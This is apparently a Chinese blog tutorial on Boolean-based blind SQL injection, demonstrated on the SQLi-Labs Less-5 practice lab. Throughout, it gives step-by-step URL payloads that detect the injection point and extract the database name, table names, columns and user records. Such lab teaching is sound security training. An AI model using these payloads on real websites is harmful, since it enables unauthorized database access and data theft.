• SQL注入之Boolean型盲注


    什么是Boolean型注入

    Boolean型的注入意思就是页面返回的结果是Boolean型的,通过构造SQL判断语句,查看页面的返回结果是否报错,页面返回是否正常等来判断哪些SQL判断条件时成立的,通过此来获取数据库中的数据。

    Boolean型注入实战

    这儿以SQLi-Labs less5来进行演示Boolean型盲注实战。

    首先查看是否存在注入点

    构造payload  http://43.247.91.228:84/Less-5/?id=1

     加个单引号  http://43.247.91.228:84/Less-5/?id=1'

     数据库报错说明存在注入点

    接下来来看看数据库的长度,构造payload  http://43.247.91.228:84/Less-5/?id=1%27and%20length(database())=1%23

     页面回显不正常,在进行尝试到8时回显正常

    payload  http://43.247.91.228:84/Less-5/?id=1%27and%20length(database())=8%23

    回显正常说明数据库长度为8

    猜测数据库的第一位

    payload http://43.247.91.228:84/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27--+

    回显正常,说明数据库第一个字母大于a,然后再试后面的字母和数字(可以用二分法来节约时间)最后确定第一位为s。

    再猜测数据库的第二位

    构造payload为 http://43.247.91.228:84/Less-5/?id=1%27and%20left(database(),2)%3E%27sa%27--+

     说明第二位大于a,在进行测试,得到第二位为e。

    得到database()=security

    然后来获取这个数据库下的第一个表的第一个字段

    http://43.247.91.228:84/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E80--+

     第一个为e,继续操作得到表名为email

    接着获取第二个表,将limit0,1改为limit1,1,查询出第二个表为referers

    重复这个步骤,获取所有表的名字。

    然后使用regexp来获取user中的列

    http://43.247.91.228:84/Less-5/?id=1%27and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27user%27%20and%20table_name%20regexp%20%27^us[a-z]%27%20limit%200,1)--+

    回显正常说明表中有us开头的列

    http://43.247.91.228:84/Less-5/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20column_name%20regexp%20%27^username%27%20limit%200,1)--+

     说明有username存在,然后在查询password等其他的列。

    然后再来获取users表的内容

    http://43.247.91.228:84/Less-5/?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(username%20AS%20CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20LIMIT%200,1),1,1))=68--+

    试出了username第一行的第一个字符ascii为68,即为D,然后继续查询第一行数据为Dumb。

    再用这个方法查询其他列获得数据,便可完成注入。

    盲注的过程比较繁琐,手工实现的话比较费时间,我们可以通过写脚本来实现盲注。

    但是对于盲注的原理我们还是要深入理解的。

  • 相关阅读:
    Qt程序使用Win32 API发送ZPL指令与斑马打印机通信
    Eclipse构建Maven项目
    编码风格 缩进和空白
    Linux下Tomcat重新启动
    linux下tomcat服务的相关命令
    第一天
    Day1NLP_机器翻译
    Day4_attention is all you need 论文阅读下篇
    Day_7tensorflow 实战
    Day5_python学习
  • 原文地址:https://www.cnblogs.com/lzlzzzzzz/p/11965343.html
Copyright © 2020-2023  润新知